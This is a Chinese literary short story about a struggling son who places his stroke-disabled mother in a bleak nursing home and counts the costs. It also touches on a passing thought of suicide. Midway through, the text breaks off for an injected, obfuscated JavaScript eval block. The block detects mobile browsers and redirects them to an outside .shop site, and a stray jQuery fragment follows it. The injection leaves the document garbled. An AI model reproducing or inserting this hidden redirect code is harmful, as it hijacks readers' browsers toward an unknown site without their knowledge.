几个月后，张玉芬从康复医院出来了。病前她和姚华咬牙贷款买的限价房，如今还是个图纸上的影儿。姚华得挣钱还贷，一天假都不敢请，实在没法子，只得给母亲寻了个养老院。
院名叫“福寿康宁”。四个金字镶在粉墙上，太阳一照，晃得人眼晕。姚华在门口立了半晌，瞧见“寿”字缺了一撇，成了“寸”，也没人补。风一吹，剩下的半拉金箔颤巍巍的，随时要掉下来的样子。
他推着轮椅，轮子有点歪，在水泥地上磨出滋啦滋啦的响声，像钝刀子割麻袋。张玉芬歪在轮椅上，半眯着眼，对这声音早已习惯——就跟习惯医院的消毒水味儿、走廊里此起彼伏的叹气声一样。
院长姓王，中年女人，一头卷发烫得密匝匝的，每颗卷儿都像算盘珠子。她穿着深蓝色化纤套装，一动就窸窣响。工牌别在胸前，照片里的她年轻些，笑得规规矩矩。此刻她没笑，说话快得像撒豆子：“每月三千四，包床位、三餐、基础护理。洗澡每周二、四，洗衣每周三。”
她说话时眼没看姚华，先瞥轮椅，再瞥轮椅上的张玉芬，最后才扫到姚华的袖口。姚华身上那件夹克穿了五年，拉链坏了一半，只能拉到胸口。右边袖口磨破了，白线头露出来，沾了灰，黑黢黢的。他下意识把手往后缩，这一缩反倒更扎眼了。
“押金五千。”王院长接着说，“当月费用提前交。一号到五号缴费，超了收滞纳金，每天千分之五。”她顿了顿，让数字在空气里沉一沉，“探视下午两点到五点，其他时间不进。特殊情况得申请。”
姚华跟着她往里走。走廊长得望不到头，两边房门敞着。有的屋里传出电视声，老剧的对白夹着罐装笑声；有的是咳嗽声，干涩带痰，一声接一声，像永远咳不干净；还有种说不清的动静——像叹息，又像呻吟，更似无意识的呜咽，从喉咙深处挤出来，连自己都未必察觉。
空气里有味道。消毒水打底，盖不住尿臊气，尿臊里又混着老人味儿——像旧书柜、陈年药材、返潮的棉絮。几种气味搅和在一起，成了养老院独有的气息。
“三人间，靠窗那张床刚空出来。”王院长高跟鞋敲着地砖，哒、哒、哒，一步一响。她背影挺得直，可姚华瞧见她裤腿后面起了毛球，密密层层的。“上个月走的，脑梗。七十六，在这儿住了三年。”她说得平常，像说“这屋上个月退租了”。“床单被罩都换新的了，放心。”
她说“放心”时，回头瞅了姚华一眼。那眼神姚华熟——在医院、康复中心、每一个要掏钱的地方，他都见过。那眼神在说：我知你不易，但规矩就是规矩。
房间在三楼尽里头。门牌307。推开门，先撞进来一束光——下午的光从窗户斜进来，照在水泥地上，地上水渍未干，拖把拖过的痕迹一道一道的。
三张铁架子床，漆成白色，如今泛了黄，像老旧的牙。靠窗那张空着，铺着蓝白格床单，确是新的，但布料薄，透出底下垫子的纹路。
左边床上躺着个老太太，瘦得像一把枯柴，被子盖着，几乎看不出起伏。她睁着眼，直勾勾盯着天花板。天花板上裂了道缝，像地图上的河。她一动不动，只有眼皮偶尔眨一下，证明还活着。
右边床上坐着位，头发梳得溜光，在脑后挽了个髻，罩着黑网兜。她正对着一面小圆镜抹雪花膏，镜背的牡丹花磨得差不多了。她抹得仔细，一寸一寸，从额头抹到下巴。
“李姨，来新人了。”王院长喊了一嗓子。
抹雪花膏的老太太转过头。脸煞白，不是健康的白，是常年不见太阳那种，白里透青。她上下打量张玉芬，又打量姚华，目光像把尺，量着他们的家底。
“哟，这是咋了？”她问，声音尖细，像指甲刮玻璃。
“脑出血，术后恢复期。”王院长说，“以后你们就是室友了，互相照应着点。”这话她说得顺溜，像背台词。
张玉芬歪在轮椅上，口水又流下来，滴在胸前的围兜上。围兜是姚华用旧毛巾改的，边角都毛了。姚华赶忙拿纸巾擦，纸巾是最便宜的那种，薄，一擦就破，纸屑沾在围兜上。
李姨看着，没说话，转回去继续抹雪花膏。抹完，她把镜子收进抽屉，抽屉吱呀一声——里面塞满了药瓶、梳子、半块肥皂、几根皮筋。
王院长开始念细则，一条一条，像念律法。姚华听着，心里却在算账：三千四一个月，一年四万零八百。工资扣完社保公积金，到手五千二。房贷每月两千四，那是十年前买的房子，四十六平，老小区六楼，没电梯。还完房贷剩两千八。两千八减去三千四，倒贴六百。
这六百，像心口一道裂璺，越裂越深。
“那个……”他打断王院长，声音有点虚，“能……按月交不？”
王院长看他一眼，眼里有什么闪了闪，像计算器归零前那一下。“一般都季付，交三个月。不过你家情况特殊，”她顿了顿，“可以月付。但得一号准时交，不能拖。拖一天，滞纳金十七块。”
“肯定不拖。”姚华说，说得飞快，像怕自己后悔。
手续办了一个多钟头。签了七八张纸，每张都要签名、按手印。合同纸薄，背面的字透过来。红印泥质量差，粘糊糊的，塑料盒边结了痂。姚华按手印时用力猛了，红泥渗进指纹里，擦不掉，像血。
最后交钱，姚华从背包里掏出一个牛皮纸信封。信封磨得发毛，四角卷边，正面印着“环湖医院”——上次出院装病历用的，他舍不得扔。
他数出三千四百块，百元钞新旧不一。三张挺括，刚从取款机出来的；别的皱如咸菜，不知在口袋里揣了多久。他数得慢，一张一张，数到第三遍，王院长伸手接了过去。
“我自己数。”她说。
她用拇指食指捏着钞票，一张张捻开，捻一张，蘸一下唾沫。办公室里静，只有钞票沙沙响和她蘸唾沫时轻轻的咂嘴声。数完一遍，又数一遍。
“对了。”她把钱放进抽屉，抽屉上锁，钥匙串在腰带上，叮当响。“钥匙押金一百，退院时还。钥匙丢了，押金不退，还得赔五十。”
姚华又掏出一百。这张更旧，中间一道折痕，快断了。王院长接过去，对着光看看水印，才收下。
办完，已是下午三点多。姚华推母亲回房间，抱她上床。床硬，垫子薄，手一按，能摸到底下的木板条，一根一根，间距宽。张玉芬躺下，头陷进枕头里，枕头填充物不均，一边高一边低。
她望着窗外。窗外有棵槐树，叶子掉光了，枝杈光秃秃的，像老人的手骨。树枝上挂了个白塑料袋，被风吹得鼓了又瘪，瘪了又鼓。
“妈，我每周三、周六来看您。”姚华低声说，“周三请半天假，周六全天。”
张玉芬眨眨眼。右眼皮眨得慢，左眼皮几乎不动，是后遗症。
“有事就叫护士。床头有呼叫器，红色按钮。”姚华指了指墙上按钮，按钮周围一圈黑，是无数只手按出来的油污。
张玉芬又眨眨眼。
旁边床的李姨忽然开口——她不知何时已躺下，侧身看着他们。“小伙子，你妈能说话不？”
“能说，但慢。”姚华说，“得一个字一个字挤。”
“哦。”李姨凑近些，两张床相距不到一米。她细瞧张玉芬的脸，像瞧一件物件。“可怜见的。我姓李，七十六了。那个是赵姨，”她指指左边床上一动不动那位，“八十三，老年痴呆，不认人。你跟她说话，她也不理你。”
姚华点头：“李姨，麻烦您多照应。”
“照应啥呀。”李姨笑了，露出镶金的门牙，金牙已发黑，像锈了。“都是等死的人，互相做个伴呗。”她说得轻巧，像说“今天吃米饭”，说完翻身背对他们。
姚华又待了会儿，给母亲喂水。水是白开水，装在塑料杯里。他托起母亲的头，一点一点喂。张玉芬吞咽困难，喉结动一下，要停好几秒。喂完水，又给她擦脸，用自己的毛巾，毛巾已硬了，洗得发白。
要走时，张玉芬突然抓住他的手。手没力气，但抓得紧，手指蜷着，指甲长了，姚华还没顾上剪。
“上……班。”她一个字一个字往外挤，“别……耽误。”
“嗯，不耽误。”姚华声音有点哽。
张玉芬松手，闭眼。眼皮颤着，像蝴蝶翅膀，停不下来。
走出房间，姚华在走廊站了会儿。走廊那头有老人在唱戏，跑调跑得厉害，但起劲。是评剧，《秦香莲》选段。
“秦香莲我三十二岁夫啊……抛妻子弃儿女你你你心何安……”
声苍老，嘶哑，像破风箱，每唱一字喘一下。唱到高音突然断了，变成一阵咳，咳完又接上。
走廊墙裙刷绿漆，漆已剥落，露出灰泥。墙上贴着宣传画，画上老人笑容满面，围坐做手工。画褪了色，笑容模糊了，像蒙了层雾。
姚华慢慢往外走。楼梯是水泥的，没贴砖，台阶边沿被磨得圆滑。下楼时，碰见护工推餐车上楼，餐车上摆着不锈钢饭盆，盆里是糊状物，灰扑扑的，辨不出是什么。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119425|195947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
护工是中年女人，圆脸红扑扑的，擦肩时瞥他一眼，眼神里是司空见惯的麻木。
出养老院大门，日头已偏西。姚华站在门口，回头望了一眼。“福寿康宁”四字在夕阳下反光，那个掉了撇的“寿”字，在阴影里越发像“寸”了。
福寸康宁。
他笑了笑，笑得很苦，嘴角刚提起便落下。
是啊，福只有一寸长。康宁，也许只是瞧着康宁。
但总比没有强。
他转身往公交站走。夹克拉链坏了，风灌进来，冷飕飕的。他缩缩脖子，手插进口袋。口袋里有把零钱，是这个月剩下的。他摸了摸，能辨出硬币形状，一元、五角，还有几张皱纸币。
等车时，他算了算时间：今天周三，下午请假扣半天工资，约一百二。周六再来，不扣钱。但来回公交四块，给母亲买点水果，至少十块。这一趟，一百三十四块没了。
公交车来了，是旧空调车，上车两块。他投币，往后走。车里人不多，他找了个靠窗位坐下。窗玻璃脏，外头景色模糊。他望着窗外，什么也没看进去。
脑子里全是数字。三千四，两千四，五百二，六百。这些数字像磨盘，在脑子里转啊转，转得人头晕。
手机震了下，银行短信：房贷扣款成功，余额三百二十七块六毛二。他盯着那数字看了很久，直到屏幕暗下去。
车到站，他下车，往家走。家在六楼，没电梯。他爬楼梯，一阶，两阶，三阶……爬到三楼，停脚喘气。不是累，是心里堵得慌。
开门，屋里暗。他没开灯，径直走到沙发边坐下。一坐下就想起这屋子曾有人上吊的事儿，也不知自己往后会不会步那后尘。
晚上，他煮了面。一把挂面，几片青菜，打了一个鸡蛋。鸡蛋是超市特价的，十块钱三十个，蛋壳薄，一磕就破。他吃着面，没滋味，但还是吃完了。吃饭是为了活着，活着是为了挣钱，挣钱是为了交养老院的钱。
这逻辑清楚，像一条直路，路上没风景，只有尽头。
吃完洗碗，他坐在沙发上发呆。屋里静，能听见楼上冲马桶、隔壁电视响。这些声音提醒他，这楼里住满了人，各有各的难。
他想母亲，想她躺在养老院床上的样子，想她歪着的头、流着的口水、用左手写的歪扭字。
“怕……忘了。”
母亲说这话时，眼里有恐惧。那恐惧姚华懂——不是怕死，是怕忘了自己是谁，忘了儿子是谁，忘了这一生怎么过的。
他起身，走到书架前。架上没几本书，多是工具书，还有几本旧杂志。最下层放着一个铁盒，盒上印着喜鹊登梅，漆已斑驳。
他打开盒子，里头是旧物：几张照片，几封信，一本笔记本。照片是黑白的，已发黄。有一张是母亲年轻时，站在盐坨桥边，身后是白花花的盐山。她扎两条辫子，笑得灿烂，牙很白。
盐坨村。姚华很久没回去了。
姚华考上大学那年终于离开盐坨村，母亲把攒了半辈子的钱拿出来，包在红手绢里，手绢洗得发白。她数了三遍，八千六百块。
“够不？”她问。
姚华点头：“够了，还有助学贷款。”
母亲松口气，把手绢包塞进他手里。“好好学，别像妈一样。”
他没像母亲一样在中学门口卖卷子为生。他学了计算机，进了城，找了工作，前阵子刚贷款买了个限价房。他以为这叫出息，叫让母亲享福。
如今母亲躺在养老院床上，一月三千四。
他拿出那张照片，看了很久。照片上的母亲那么年轻，那么有活气，眼里有光。现在的母亲，眼浑了，光没了。
他把照片放回盒子，盖上盖。铁盒轻，拿在手里却沉甸甸的。
睡前，他定了闹钟。明早七点起，八点上班。上班不能迟到，迟到扣五十。五十块，够母亲在养老院吃两天饭。
躺床上，他睡不着。天花板上有道裂缝，和养老院天花板上那道很像。他看着裂缝，想起李姨那句话：
“都是等死的人，互相做个伴呗。”
说得那么坦然，那么认命。好像等死是件再自然不过的事，像等公交，等下雨，等天亮。
他翻个身，脸埋进枕头。枕头有股味儿，是洗不掉的汗味，混着廉价洗发水的香。
迷迷糊糊中，他做了个梦。梦见盐坨村。母亲在村路上走，走得很慢，背影佝偻。他喊：“妈！”母亲回头，脸上却没有五官，只剩一片空白。